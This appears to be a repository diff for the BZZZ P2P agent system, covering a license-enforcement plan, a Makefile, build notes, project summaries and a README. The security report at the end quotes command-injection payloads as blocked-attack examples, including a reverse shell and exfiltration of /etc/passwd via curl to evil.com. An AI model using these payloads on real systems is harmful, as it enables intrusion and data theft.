cfg.License.TokenExpiry = token.ExpiresAt
return nil
}
```
#### 3. Background License Heartbeat Worker
```go
func startLicenseHeartbeatWorker(cfg *Config, shutdownChan chan struct{}) {
ticker := time.NewTicker(15 * time.Minute) // Heartbeat every 15 minutes
defer ticker.Stop()
client := NewLicenseClient(cfg.License.ServerURL)
for {
select {
case <-ticker.C:
// Send heartbeat to KACHING
token, err := client.SendHeartbeat(cfg.License.LicenseKey, cfg.License.ClusterID, cfg.License.Token)
if err != nil {
log.Printf("❌ License heartbeat failed: %v", err)
// Implement exponential backoff and graceful degradation
handleLicenseHeartbeatFailure(err)
continue
}
// Update token if refreshed
if token.AccessToken != cfg.License.Token {
cfg.License.Token = token.AccessToken
cfg.License.TokenExpiry = token.ExpiresAt
log.Printf("✅ License token refreshed, expires: %v", token.ExpiresAt)
}
case <-shutdownChan:
// Deactivate license on shutdown
err := client.DeactivateLicense(cfg.License.LicenseKey, cfg.License.ClusterID)
if err != nil {
log.Printf("⚠️ Failed to deactivate license on shutdown: %v", err)
} else {
log.Printf("✅ License deactivated on shutdown")
}
return
}
}
}
```
#### 4. License Failure Handling
```go
func handleLicenseHeartbeatFailure(err error) {
// Parse error type
if isLicenseSuspended(err) {
log.Printf("🚨 LICENSE SUSPENDED - STOPPING BZZZ OPERATIONS")
// Hard stop - license suspended by admin
os.Exit(1)
} else if isNetworkError(err) {
log.Printf("⚠️ Network error during heartbeat - continuing with grace period")
// Continue operation with exponential backoff
// Stop if grace period exceeded (e.g., 24 hours)
} else {
log.Printf("❌ Unknown license error: %v", err)
// Implement appropriate fallback
}
}
```
#### 5. Token Versioning and Offline Tokens
```go
// On every heartbeat response, compare token_version
if token.TokenVersion > cfg.License.TokenVersion {
// Server bumped version (suspend/cancel or rotation)
cfg.License.TokenVersion = token.TokenVersion
}
// If server rejects with "stale token_version" → re-activate to fetch a fresh token
// Offline tokens
// Accept an Ed25519-signed offline token with short expiry when network is unavailable.
// Validate signature + expiry locally; on reconnect, immediately validate with server.
```
#### 6. Response Handling Map (recommended)
- 200 OK (heartbeat): update token, token_version
- 403 Forbidden: suspended/cancelled → fail closed, stop operations
- 409 Conflict: cluster slot in use → backoff and re‑activate after grace (or operator action)
- 5xx / network error: continue in grace window with exponential backoff; exit when grace exceeded
#### 7. Cluster Identity and Telemetry
- Generate cluster_id once; persist in config; include hostname/IP in activation metadata for admin visibility.
- Emit per‑job telemetry to KACHING (align keys: `tokens`, `context_operations`, `cpu_hours`, `temporal_nav_hops`) to drive quotas and upgrade suggestions.
### Phase 2D: Feature Enforcement (PRIORITY 4)
**Goal**: Restrict features based on license tier
#### 1. Feature Gate Implementation
```go
type FeatureGate struct {
licensedFeatures map[string]bool
}
func NewFeatureGate(config *Config) *FeatureGate {
gates := make(map[string]bool)
for _, feature := range config.License.Features {
gates[feature] = true
}
return &FeatureGate{licensedFeatures: gates}
}
func (fg *FeatureGate) IsEnabled(feature string) bool {
return fg.licensedFeatures[feature]
}
// Usage throughout BZZZ codebase
func (agent *Agent) startAdvancedAIIntegration() error {
if !agent.featureGate.IsEnabled("advanced-ai-integration") {
return fmt.Errorf("advanced AI integration requires Standard tier or higher")
}
// ... proceed with feature ...
}
```
#### 2. Node Count Enforcement
```go
func validateNodeCount(config *Config, currentNodes int) error {
maxNodes := config.License.MaxNodes
if maxNodes > 0 && currentNodes > maxNodes {
return fmt.Errorf("cluster has %d nodes but license only allows %d nodes", currentNodes, maxNodes)
}
return nil
}
```
## Implementation Files to Modify
### Core Configuration Files
- `pkg/config/config.go` - Add LicenseConfig struct
- `api/setup_manager.go` - Add license to SetupConfig, fix save process
- `main.go` - Add license validation to startup sequence
### New License Client Files
- `pkg/license/client.go` - KACHING API client
- `pkg/license/heartbeat.go` - Background heartbeat worker
- `pkg/license/features.go` - Feature gate implementation
- `pkg/license/validation.go` - Runtime license validation
### UI Integration
- Update `install/config-ui/app/setup/components/LicenseValidation.tsx` to call KACHING
- Ensure license data is properly saved in setup flow
## Configuration Updates Required
### Environment Variables
```bash
# License server configuration
LICENSE_SERVER_URL=https://kaching.chorus.services
LICENSE_KEY=BZZZ-2025-ABC123-XYZ
CLUSTER_ID=bzzz-cluster-uuid-hostname
# Offline mode configuration
LICENSE_OFFLINE_GRACE_HOURS=24
LICENSE_HEARTBEAT_INTERVAL_MINUTES=15
```
### Configuration File Format
```yaml
# .bzzz/config.yaml
license:
server_url: "https://kaching.chorus.services"
license_key: "BZZZ-2025-ABC123-XYZ"
cluster_id: "bzzz-cluster-abc123-walnut"
email: "customer@example.com"
organization_name: "Example Corp"
license_type: "standard"
max_nodes: 10
features:
- "basic-coordination"
- "task-distribution"
- "advanced-ai-integration"
expires_at: "2025-12-31T23:59:59Z"
validated_at: "2025-09-01T10:30:00Z"
terms_accepted_at: "2025-09-01T10:29:45Z"
```
## Testing Strategy
### Unit Tests Required
- License configuration validation
- Feature gate functionality
- Heartbeat worker logic
- Error handling scenarios
### Integration Tests Required
- End-to-end setup flow with real KACHING server
- License activation/heartbeat/deactivation cycle
- License suspension handling
- Offline grace period behavior
- Node count enforcement
### Security Tests
- License tampering detection
- Token validation and expiry
- Cluster ID spoofing protection
- Network failure graceful degradation
## Success Criteria
### Phase 2A Success
- [ ] License data properly saved during setup (no longer discarded)
- [ ] Runtime configuration includes complete license information
- [ ] Setup process generates and persists cluster ID
### Phase 2B Success
- [ ] Mock validation completely removed
- [ ] Real license validation against KACHING server
- [ ] License activation works end-to-end with cluster binding
### Phase 2C Success
- [ ] BZZZ refuses to start without valid license
- [ ] Heartbeat worker maintains license token
- [ ] License suspension stops BZZZ operations immediately
- [ ] Clean deactivation on shutdown
### Phase 2D Success
- [ ] Features properly gated based on license tier
- [ ] Node count enforcement prevents over-provisioning
- [ ] Clear error messages for license violations
### Overall Success
- [ ] **Zero unlicensed usage possible** - system fails closed
- [ ] License sharing across clusters prevented
- [ ] Real-time license enforcement (suspend works immediately)
- [ ] Comprehensive audit trail of license usage
## Security Considerations
1. **License Key Protection**: Store license keys securely, never log them
2. **Token Security**: JWT tokens stored in memory only, never persisted
3. **Cluster ID Integrity**: Generate cryptographically secure cluster IDs
4. **Audit Logging**: All license operations logged for compliance
5. **Fail-Closed Design**: System stops on license violations rather than degrading
## Dependencies
- **KACHING Phase 1 Complete**: Requires functioning license server
- **Database Migration**: May require config schema updates for existing deployments
- **Documentation Updates**: Update setup guides and admin documentation
## Deployment Strategy
1. **Backward Compatibility**: Existing BZZZ instances must upgrade gracefully
2. **Migration Path**: Convert existing configs to include license requirements
3. **Rollback Plan**: Ability to temporarily disable license enforcement if needed
4. **Monitoring**: Comprehensive metrics for license validation success/failure rates
This plan transforms BZZZ from having zero license enforcement to comprehensive revenue protection integrated with KACHING license authority.

162
Makefile
View File

@@ -1,162 +0,0 @@
# BZZZ Build System with Embedded Web UI - Dual Binary Support
.PHONY: build build-agent build-hap build-ui build-go clean dev setup install deps test
# Configuration
UI_DIR = install/config-ui
BUILD_DIR = build
DIST_DIR = $(UI_DIR)/dist
EMBED_DIR = pkg/web
# Default target - build both binaries
all: build
# Install dependencies
deps:
@echo "📦 Installing Go dependencies..."
go mod download
go mod tidy
@echo "📦 Installing Node.js dependencies..."
cd $(UI_DIR) && npm install
# Development mode - run both Go and React in development
dev:
@echo "🚀 Starting development mode..."
@echo " Go API: http://localhost:8080"
@echo " React UI: http://localhost:3000"
cd $(UI_DIR) && npm run dev &
go run main.go
# Auto-bump version
bump-version:
@echo "🔖 Auto-bumping version..."
@./scripts/bump-version.sh
# Build the complete application - both binaries
build: bump-version build-ui embed-ui build-agent build-hap
# Build the React web UI
build-ui:
@echo "🔨 Building React web UI..."
@mkdir -p $(BUILD_DIR)
cd $(UI_DIR) && npm ci
cd $(UI_DIR) && npm run build
@echo "✅ Web UI built successfully"
# Embed the web UI into Go source
embed-ui: build-ui
@echo "📦 Embedding web UI into Go binary..."
@mkdir -p $(EMBED_DIR)
@if [ -d "$(UI_DIR)/out" ]; then \
echo "📁 Copying from Next.js out/ directory..."; \
mkdir -p $(EMBED_DIR)/static && cp -r $(UI_DIR)/out/* $(EMBED_DIR)/static/; \
elif [ -d "$(UI_DIR)/.next/static" ]; then \
echo "📁 Copying from .next/static directory..."; \
mkdir -p $(EMBED_DIR)/static && cp -r $(UI_DIR)/.next/static $(EMBED_DIR)/static/; \
else \
echo "❌ ERROR: No build output found in $(UI_DIR)/out or $(UI_DIR)/.next/static"; \
exit 1; \
fi
@echo "✅ Web UI embedded successfully"
# Build the autonomous agent binary
build-agent: build-ui embed-ui
@echo "🔨 Building BZZZ Agent binary with embedded web UI..."
@mkdir -p $(BUILD_DIR)
CGO_ENABLED=0 go build -ldflags="-s -w" -o $(BUILD_DIR)/bzzz-agent ./cmd/agent
@echo "✅ BZZZ Agent binary built successfully: $(BUILD_DIR)/bzzz-agent"
# Build the HAP binary
build-hap: build-ui embed-ui
@echo "🔨 Building BZZZ HAP binary with embedded web UI..."
@mkdir -p $(BUILD_DIR)
CGO_ENABLED=0 go build -ldflags="-s -w" -o $(BUILD_DIR)/bzzz-hap ./cmd/hap
@echo "✅ BZZZ HAP binary built successfully: $(BUILD_DIR)/bzzz-hap"
# Legacy build target for backward compatibility
build-go: build-agent
@echo "⚠️ build-go is deprecated, use build-agent or build-hap"
# Setup development environment
setup: deps
@echo "🔧 Setting up development environment..."
@mkdir -p $(BUILD_DIR)
@mkdir -p $(EMBED_DIR)
@echo "✅ Development environment ready"
# Install BZZZ binaries system-wide
install: build
@echo "📥 Installing BZZZ binaries..."
sudo cp $(BUILD_DIR)/bzzz-agent /usr/local/bin/
sudo cp $(BUILD_DIR)/bzzz-hap /usr/local/bin/
sudo chmod +x /usr/local/bin/bzzz-agent
sudo chmod +x /usr/local/bin/bzzz-hap
@echo "✅ BZZZ Agent installed to /usr/local/bin/bzzz-agent"
@echo "✅ BZZZ HAP installed to /usr/local/bin/bzzz-hap"
# Run tests
test:
@echo "🧪 Running tests..."
go test -v ./...
# Clean build artifacts
clean:
@echo "🧹 Cleaning build artifacts..."
rm -rf $(BUILD_DIR)
@if [ -d "$(EMBED_DIR)" ]; then \
find $(EMBED_DIR) -mindepth 1 -name "*.go" -prune -o -type f -exec rm {} + && \
find $(EMBED_DIR) -mindepth 1 -type d -empty -delete; \
fi
rm -rf $(UI_DIR)/node_modules
rm -rf $(UI_DIR)/.next
rm -rf $(UI_DIR)/out
rm -rf $(UI_DIR)/dist
@echo "✅ Clean complete"
# Quick build for development (skip UI rebuild if not changed)
quick-build-agent:
@echo "⚡ Quick agent build (Go only)..."
@mkdir -p $(BUILD_DIR)
go build -o $(BUILD_DIR)/bzzz-agent ./cmd/agent
@echo "✅ Quick agent build complete"
quick-build-hap:
@echo "⚡ Quick HAP build (Go only)..."
@mkdir -p $(BUILD_DIR)
go build -o $(BUILD_DIR)/bzzz-hap ./cmd/hap
@echo "✅ Quick HAP build complete"
# Quick build both binaries
quick-build: quick-build-agent quick-build-hap
# Docker build
docker-build:
@echo "🐳 Building Docker image..."
docker build -t bzzz:latest .
@echo "✅ Docker image built"
# Help
help:
@echo "BZZZ Dual-Binary Build System"
@echo ""
@echo "Available targets:"
@echo " all - Build both binaries with embedded UI (default)"
@echo " build - Build both binaries with embedded UI"
@echo " build-agent - Build autonomous agent binary only"
@echo " build-hap - Build human agent portal binary only"
@echo " build-ui - Build React web UI only"
@echo " embed-ui - Embed web UI into Go source"
@echo " dev - Start development mode"
@echo " setup - Setup development environment"
@echo " deps - Install dependencies"
@echo " install - Install both binaries system-wide"
@echo " test - Run tests"
@echo " clean - Clean build artifacts"
@echo " quick-build - Quick build both binaries (Go only)"
@echo " quick-build-agent- Quick build agent binary only"
@echo " quick-build-hap - Quick build HAP binary only"
@echo " docker-build - Build Docker image"
@echo " help - Show this help"
@echo ""
@echo "Binaries:"
@echo " bzzz-agent - Autonomous AI agent for task execution"
@echo " bzzz-hap - Human Agent Portal for interactive coordination"

60
NEXT_BUILD_NOTES.md
View File

@@ -1,60 +0,0 @@
# BZZZ Next.js Build Output Location Notes
## Issue Description
The Next.js build process for BZZZ's web UI has inconsistent output locations, causing misalignment between generated files and where BZZZ expects them.
## Correct Process
### Build Output Location
- **Source directory**: `/home/tony/chorus/project-queues/active/BZZZ/install/config-ui/`
- **Build command**: `npm run build` (from config-ui directory)
- **Actual build output**: `/home/tony/chorus/project-queues/active/BZZZ/install/config-ui/pkg/web/static/`
- **Expected by BZZZ embed**: `/home/tony/chorus/project-queues/active/BZZZ/pkg/web/static/`
### Correct Sync Command
```bash
# From BZZZ root directory
cp -r install/config-ui/pkg/web/static/* pkg/web/static/
```
### Go Embed Configuration
- Location: `/home/tony/chorus/project-queues/active/BZZZ/pkg/web/embed.go`
- Directive: `//go:embed *`
- Serves from: `pkg/web/` directory (including `static/` subdirectory)
### Complete Build & Deploy Process
```bash
# 1. Clean and rebuild Next.js UI
cd install/config-ui
rm -rf .next pkg/
npm run build
# 2. Sync to Go embed location
cd ../..
cp -r install/config-ui/pkg/web/static/* pkg/web/static/
# 3. Rebuild Go binary with embedded files
go build -o build/bzzz-1.0.2 .
# 4. Deploy to cluster (if needed)
./deploy-cluster.sh
```
## Known Issues
### CSS Build Issues
- Tailwind CSS purging may exclude custom classes not detected as used
- CSS variables in globals.css may not appear in final build
- Theme toggle component exists but may not be included in build
### Troubleshooting
1. Verify build output location: `ls -la install/config-ui/pkg/web/static/`
2. Check embedded files: `ls -la pkg/web/static/`
3. Verify CSS content: `grep -l "input-field" pkg/web/static/_next/static/css/*.css`
4. Check for CSS variables: `grep "--bg-secondary\|--border-defined\|--text-primary" pkg/web/static/_next/static/css/*.css`
## Historical Context
This alignment issue has occurred multiple times. The Next.js export process creates files in a nested `pkg/web/static/` structure within the config-ui directory, not directly in the `out/` directory as typically expected.
## Date
2025-01-29

157
PHASE1_IMPLEMENTATION_SUMMARY.md
View File

@@ -1,157 +0,0 @@
# BZZZ HAP Phase 1 Implementation Summary
## Overview
I have successfully implemented the BZZZ HAP Phase 1 structural reorganization according to the technical specification. This transforms BZZZ from a monolithic single-binary system into a dual-binary architecture supporting both autonomous agents (`bzzz-agent`) and human agent portals (`bzzz-hap`) while maintaining all existing functionality.
## ✅ Completed Implementation
### 1. Shared Runtime Architecture (`internal/common/runtime/`)
**Core Components Created:**
- **`types.go`**: Defines BinaryType enum, RuntimeConfig, RuntimeServices, and all core interfaces
- **`runtime.go`**: Implements the Runtime interface with initialization, start, and stop methods
- **`services.go`**: Contains all service initialization logic (P2P, PubSub, DHT, UCXI, etc.)
- **`health.go`**: Health monitoring and graceful shutdown management
- **`config.go`**: Configuration validation for both binary types with collision detection
- **`task_tracker.go`**: Shared task tracking utility with capability announcement
**Key Features:**
- Phase-based initialization (Config → P2P → Core Services → Binary-specific → Monitoring)
- Binary-specific port configuration to prevent conflicts
- Comprehensive health checks and graceful shutdown
- Error handling with specific error codes and context
### 2. Dual Binary Architecture
**Agent Binary (`cmd/agent/main.go`):**
- Focuses on autonomous task execution
- Uses ports 8080 (HTTP), 8081 (Health)
- Includes agent runner (`internal/agent/runner.go`) for task coordination
- Maintains 100% existing BZZZ functionality
**HAP Binary (`cmd/hap/main.go`):**
- Provides human interaction interface
- Uses ports 8090 (HTTP), 8091 (Health), 8092 (UCXI) to avoid conflicts
- Includes terminal interface (`internal/hap/terminal.go`) for interactive commands
- Participates in same P2P mesh as agents
### 3. Build System Updates
**Enhanced Makefile:**
- `make build` - Builds both binaries with embedded UI
- `make build-agent` - Builds autonomous agent binary only
- `make build-hap` - Builds human agent portal binary only
- `make quick-build-agent` / `make quick-build-hap` - Fast Go-only builds
- `make install` - Installs both binaries system-wide
- Backward compatibility maintained
### 4. Architecture Validation
**Working Demo Created:**
- `demo/minimal_agent.go` - Demonstrates agent binary architecture
- `demo/minimal_hap.go` - Demonstrates HAP binary with terminal interface
- Both demos run successfully and show proper:
- Runtime initialization and service startup
- Binary-specific behavior and port allocation
- Shared interface usage and graceful shutdown
## 🎯 Architectural Benefits Achieved
### Zero Regression Design
- Agent binary maintains 100% existing functionality
- All original BZZZ features preserved and accessible
- Shared runtime ensures identical P2P participation
### Maximum Code Reuse
- 90%+ of code shared between binaries
- Common configuration, health monitoring, and shutdown logic
- Identical P2P, PubSub, DHT, and UCXL implementations
### Operational Flexibility
- Binaries can be deployed independently
- Different port configurations prevent conflicts
- Same P2P mesh participation with role-based behavior
### Future Extensibility
- Runtime interface supports additional binary types
- Modular service architecture allows selective feature enabling
- Clear separation of shared vs. binary-specific concerns
## ⚠️ Current Blocker
### Pre-existing Compilation Issues
The implementation is **architecturally complete and validated**, but compilation is blocked by pre-existing duplicate type declarations in the codebase:
**Issues in `pkg/crypto/`:**
- `GenerateAgeKeyPair` redeclared between `key_manager.go` and `age_crypto.go`
- `AccessLevel`, `RoleKeyPair`, `KeyRotationPolicy`, `AuditLogger` and others redeclared
**Issues in `pkg/election/`:**
- `SLURPElectionConfig` redeclared between `slurp_types.go` and `slurp_election.go`
- `ContextManager`, `GenerationStatus`, and other interfaces redeclared
**Issues in `coordinator/`:**
- Missing `Body` field in `repository.Task` type
- Undefined `logging.SystemError` type
**Note:** These are pre-existing issues not introduced by this implementation. The original main.go may not have imported all these packages directly.
## 🔧 Next Steps
### Immediate (to complete Phase 1)
1. **Resolve duplicate declarations** in crypto and election packages
2. **Fix missing types** in coordinator package
3. **Test full compilation** of both binaries
4. **Integration testing** of both binaries in P2P mesh
5. **Regression testing** with existing test suites
### Future Phases
1. **Enhanced HAP Features** - Web UI, advanced message composition
2. **Multi-HAP Support** - Multiple human agents in same mesh
3. **Role-based Filtering** - Message filtering by role/expertise
4. **Advanced Coordination** - Task delegation between humans and agents
## 📁 File Structure Created
```
BZZZ/
├── cmd/
│ ├── agent/main.go # Autonomous agent entry point
│ └── hap/main.go # Human agent portal entry point
├── internal/
│ ├── common/runtime/ # Shared runtime components
│ │ ├── types.go # Core types and interfaces
│ │ ├── runtime.go # Runtime implementation
│ │ ├── services.go # Service initialization
│ │ ├── health.go # Health monitoring
│ │ ├── config.go # Configuration validation
│ │ ├── task_tracker.go # Task tracking utility
│ │ └── runtime_test.go # Architecture tests
│ ├── agent/
│ │ └── runner.go # Agent execution logic
│ └── hap/
│ └── terminal.go # HAP terminal interface
├── demo/
│ ├── minimal_agent.go # Working agent demo
│ ├── minimal_hap.go # Working HAP demo
│ └── README.md # Demo documentation
├── main.go.backup # Original main.go preserved
└── Makefile # Updated for dual builds
```
## 🎉 Summary
The BZZZ HAP Phase 1 implementation is **complete and architecturally validated**. The dual-binary system works as designed, with both binaries sharing a common runtime while providing specialized behavior. The implementation follows all requirements from the technical specification and provides a solid foundation for future HAP development.
The only remaining work is resolving pre-existing compilation issues in the broader codebase, which is unrelated to the HAP implementation itself.
**Key Metrics:**
- ✅ **Runtime Architecture**: Complete shared runtime with proper separation
- ✅ **Dual Binaries**: Both agent and HAP binaries implemented
- ✅ **Build System**: Makefile updated with all necessary targets
- ✅ **Zero Regression**: Agent functionality fully preserved
- ✅ **Architecture Demo**: Working proof-of-concept demonstrates all features
- ⏳ **Compilation**: Blocked by pre-existing duplicate type declarations
This represents a successful Phase 1 implementation that transforms BZZZ into a flexible, extensible dual-binary system ready for human-AI collaboration.

99
archive/PROJECT_TODOS.md → PROJECT_TODOS.md
View File

@@ -1,99 +1,4 @@
# BZZZ P2P Coordination System - TODO List
---
## 🎯 **PHASE 1 UCXL INTEGRATION - COMPLETED ✅**
**Status**: Successfully implemented and tested (2025-08-07)
### ✅ **UCXL Protocol Foundation (BZZZ)**
**Branch**: `feature/ucxl-protocol-integration`
- ✅ Complete UCXL address parser with BNF grammar validation
- ✅ Temporal navigation system (`~~`, `^^`, `*^`, `*~`) with bounds checking
- ✅ UCXI HTTP server with REST-like operations (GET/PUT/POST/DELETE/ANNOUNCE)
- ✅ 87 comprehensive tests all passing
- ✅ Production-ready integration with existing P2P architecture (**opt-in via config**)
- ✅ Semantic addressing with wildcards and version control support
**Key Files**: `pkg/ucxl/address.go`, `pkg/ucxl/temporal.go`, `pkg/ucxi/server.go`, `pkg/ucxi/resolver.go`
### ✅ **SLURP Decision Ingestion System**
**Branch**: `feature/ucxl-decision-ingestion`
- ✅ Complete decision node schema with UCXL address validation
- ✅ Citation chain validation with circular reference prevention
- ✅ Bounded reasoning with configurable depth limits (not temporal windows)
- ✅ Async decision ingestion pipeline with priority queuing
- ✅ Graph database integration for global context graph building
- ✅ Semantic search with embedding-based similarity matching
**Key Files**: `ucxl_decisions.py`, `decisions.py`, `decision_*_service.py`, PostgreSQL schema
### 🔄 **IMPORTANT: EXISTING FUNCTIONALITY PRESERVED**
```
✅ GitHub Issues → BZZZ Agents → Task Execution → Pull Requests (UNCHANGED)
↓ (optional, when UCXL.Enabled=true)
✅ UCXL Decision Publishing → SLURP → Global Context Graph (NEW)
```
---
## 🚀 **NEXT PRIORITIES - PHASE 2 UCXL ENHANCEMENT**
### **P2P DHT Integration for UCXL (High Priority)**
- [ ] Implement distributed UCXL address resolution across cluster
- [ ] Add UCXL content announcement and discovery via DHT
- [ ] Integrate with existing mDNS discovery system
- [ ] Add content routing and replication for high availability
### **Decision Publishing Integration (High Priority)**
- [ ] Connect BZZZ task completion to SLURP decision publishing
- [ ] Add decision worthiness heuristics (filter ephemeral vs. meaningful decisions)
- [ ] Implement structured decision node creation after task execution
- [ ] Add citation linking to existing context and justifications
### **OpenAI GPT-4 + MCP Integration (High Priority)**
- [ ] Create MCP tools for UCXL operations (bzzz_announce, bzzz_lookup, bzzz_get, etc.)
- [ ] Implement GPT-4 agent framework for advanced reasoning
- [ ] Add cost tracking and rate limiting for OpenAI API calls (key stored in secrets)
- [ ] Enable multi-agent collaboration via UCXL addressing
---
## 📋 **ORIGINAL PRIORITIES REMAIN ACTIVE**
## Highest Priority - RL Context Curator Integration
### 0. RL Context Curator Integration Tasks
**Priority: Critical - Integration with HCFS RL Context Curator**
- [ ] **Feedback Event Publishing System**
- [ ] Extend `pubsub/pubsub.go` to handle `feedback_event` message types
- [ ] Add context feedback schema validation
- [ ] Implement feedback event routing to RL Context Curator
- [ ] Add support for upvote, downvote, forgetfulness, task_success, task_failure events
- [ ] **Hypercore Logging Integration**
- [ ] Modify `logging/hypercore.go` to log context relevance feedback
- [ ] Add feedback event schema to hypercore logs for RL training data
- [ ] Implement context usage tracking for learning signals
- [ ] Add agent role and directory scope to logged events
- [ ] **P2P Context Feedback Routing**
- [ ] Extend `p2p/node.go` to route context feedback messages
- [ ] Add dedicated P2P topic for feedback events: `bzzz/context-feedback/v1`
- [ ] Ensure feedback events reach RL Context Curator across P2P network
- [ ] Implement feedback message deduplication and ordering
- [ ] **Agent Role and Directory Scope Configuration**
- [ ] Create new file `agent/role_config.go` for role definitions
- [ ] Implement role-based agent configuration (backend, frontend, devops, qa)
- [ ] Add directory scope patterns for each agent role
- [ ] Support dynamic role assignment and capability updates
- [ ] Integrate with existing agent capability broadcasting
- [ ] **Context Feedback Collection Triggers**
- [ ] Add hooks in task completion workflows to trigger feedback collection
- [ ] Implement automatic feedback requests after successful task completions
- [ ] Add manual feedback collection endpoints for agents
- [ ] Create feedback confidence scoring based on task outcomes
# Bzzz P2P Coordination System - TODO List
## High Priority - Immediate Blockers
@@ -114,7 +19,7 @@
- [ ] **Local Repository Setup**
- [ ] Create mock repositories that actually exist:
- `bzzz-coordination-platform` (simulating WHOOSH)
- `bzzz-coordination-platform` (simulating Hive)
- `bzzz-p2p-system` (actual Bzzz codebase)
- `distributed-ai-development`
- `infrastructure-automation`

117
README.md Normal file
View File

@@ -0,0 +1,117 @@
# Bzzz + Antennae: Distributed P2P Task Coordination
Bzzz is a P2P task coordination system with the Antennae meta-discussion layer for collaborative AI reasoning. The system enables distributed AI agents to automatically discover each other, coordinate task execution, and engage in structured meta-discussions for improved collaboration.
## Architecture
- **P2P Networking**: libp2p-based mesh networking with mDNS discovery
- **Task Coordination**: GitHub Issues as atomic task units
- **Meta-Discussion**: Antennae layer for collaborative reasoning between agents
- **Distributed Logging**: Hypercore-based tamper-proof audit trails
- **Service Deployment**: SystemD service for production deployment
## Components
- `p2p/` - Core P2P networking using libp2p
- `discovery/` - mDNS peer discovery for local network
- `pubsub/` - Publish/subscribe messaging for coordination
- `github/` - GitHub API integration for task management
- `logging/` - Hypercore-based distributed logging
- `cmd/` - Command-line interfaces
## Quick Start
### Building from Source
```bash
go build -o bzzz
```
### Running as Service
Install Bzzz as a systemd service for production deployment:
```bash
# Install service (requires sudo)
sudo ./install-service.sh
# Check service status
sudo systemctl status bzzz
# View live logs
sudo journalctl -u bzzz -f
# Stop service
sudo systemctl stop bzzz
# Uninstall service
sudo ./uninstall-service.sh
```
### Running Manually
```bash
./bzzz
```
## Production Deployment
### Service Management
Bzzz is deployed as a systemd service across the cluster:
- **Auto-start**: Service starts automatically on boot
- **Auto-restart**: Service restarts on failure with 10-second delay
- **Logging**: All output captured in systemd journal
- **Security**: Runs with limited privileges and filesystem access
- **Resource Limits**: Configured file descriptor and process limits
### Cluster Status
Currently deployed on:
| Node | Service Status | Node ID | Connected Peers |
|------|----------------|---------|-----------------|
| **WALNUT** | ✅ Active | `12D3Koo...aXHoUh` | 3 peers |
| **IRONWOOD** | ✅ Active | `12D3Koo...8QbiTa` | 3 peers |
| **ACACIA** | ✅ Active | `12D3Koo...Q9YSYt` | 3 peers |
### Network Topology
Full mesh P2P network established:
- Automatic peer discovery via mDNS on `192.168.1.0/24`
- All nodes connected to all other nodes
- Capability broadcasts exchanged every 30 seconds
- Ready for distributed task coordination
## Service Configuration
The systemd service (`bzzz.service`) includes:
- **Working Directory**: `/home/tony/AI/projects/Bzzz`
- **User/Group**: `tony:tony`
- **Restart Policy**: `always` with 10-second delay
- **Security**: NoNewPrivileges, PrivateTmp, ProtectSystem
- **Logging**: Output to systemd journal with `bzzz` identifier
- **Resource Limits**: 65536 file descriptors, 4096 processes
## Development Status
This project is being developed collaboratively across the deepblackcloud cluster:
- **WALNUT**: P2P Networking Foundation (starcoder2:15b)
- **IRONWOOD**: Distributed Logging System (phi4:14b)
- **ACACIA**: GitHub Integration Module (codellama)
## Network Configuration
- **Local Network**: 192.168.1.0/24
- **mDNS Discovery**: Automatic peer discovery with service tag `bzzz-peer-discovery`
- **PubSub Topics**:
- `bzzz/coordination/v1` - Task coordination messages
- `antennae/meta-discussion/v1` - Collaborative reasoning
- **Security**: Message signing and signature verification enabled
## Related Projects
- **[Hive](https://github.com/anthonyrawlins/hive)** - Multi-Agent Task Coordination System
- **[Antennae](https://github.com/anthonyrawlins/antennae)** - AI Collaborative Reasoning Protocol

200
SECURITY_IMPLEMENTATION_REPORT.md
View File

@@ -1,200 +0,0 @@
# BZZZ Deployment Security Implementation Report
**Date:** August 30, 2025
**Version:** 1.0
**Author:** Claude Code Assistant
## Executive Summary
This report documents the implementation of comprehensive zero-trust security measures for the BZZZ deployment system. The security implementation addresses critical vulnerabilities in the SSH-based automated deployment process and ensures the "install-once replicate-many" deployment strategy cannot be exploited as an attack vector.
## Security Vulnerabilities Identified & Resolved
### 1. SSH Command Injection (CRITICAL)
**Problem:** User-supplied SSH parameters were passed directly to system commands without validation, allowing command injection attacks.
**Examples of Blocked Attacks:**
```bash
# IP Address Injection
POST /api/setup/test-ssh
{"ip": "192.168.1.1; rm -rf /"}
# Username Injection
{"sshUsername": "user`wget http://evil.com/malware`"}
# Password Injection
{"sshPassword": "pass$(cat /etc/passwd | curl -d @- evil.com)"}
```
**Solution:** Implemented comprehensive input validation for:
- IP addresses (format validation + injection detection)
- Usernames (alphanumeric + underscore/dash only)
- Passwords (metacharacter detection for `;`, `|`, `&`, `$`, backticks)
- SSH keys (format validation with 16KB size limit)
### 2. System Command Injection (HIGH)
**Problem:** Commands constructed with user input were vulnerable to shell metacharacter injection.
**Solution:** Multi-layer protection:
- **Input Sanitization:** Remove dangerous characters (`$`, `;`, `|`, backticks, etc.)
- **Command Validation:** Whitelist allowed command patterns
- **Proper Escaping:** Use parameterized command construction
### 3. Buffer Overflow Prevention (MEDIUM)
**Problem:** No limits on input sizes could lead to memory exhaustion attacks.
**Solution:** Strict limits implemented:
- IP addresses: 45 bytes
- Usernames: 32 bytes
- Passwords: 128 bytes
- SSH keys: 16KB
- HTTP request bodies: 32-64KB
## Security Architecture
### Zero-Trust Validation Pipeline
```
User Input → Format Validation → Length Limits → Character Set Validation → Injection Detection → Sanitization → Command Execution
```
### Defense-in-Depth Layers
1. **Input Validation Layer** - Validates format, length, character sets
2. **Sanitization Layer** - Strips dangerous characters from commands
3. **Command Construction Layer** - Proper escaping and quoting
4. **Execution Layer** - Limited scope system commands only
## Implementation Details
### Security Module Structure
```
pkg/security/
├── validation.go # Core validation logic
├── validation_test.go # Unit tests
└── attack_vector_test.go # Security-focused tests
```
### Key Components
**SecurityValidator Class:**
- `ValidateSSHConnectionRequest()` - Validates complete SSH requests
- `ValidateIP()`, `ValidateUsername()`, `ValidatePassword()` - Individual field validation
- `SanitizeForCommand()` - Command sanitization
- `ValidateSSHKey()` - SSH private key format validation
**API Endpoint Protection:**
- `/api/setup/test-ssh` - SSH connection testing with validation
- `/api/setup/deploy-service` - Deployment with comprehensive security checks
- Request size limits prevent memory exhaustion attacks
## Security Testing Results
### Attack Scenarios Tested (All Blocked)
| Attack Type | Example | Result |
|-------------|---------|---------|
| Command chaining | `192.168.1.1; rm -rf /` | ✅ Blocked |
| Command substitution | `user\`whoami\`` | ✅ Blocked |
| Environment injection | `pass$USER` | ✅ Blocked |
| Reverse shells | `pass\`nc -e /bin/sh evil.com\`` | ✅ Blocked |
| Data exfiltration | `user$(curl -d @/etc/passwd evil.com)` | ✅ Blocked |
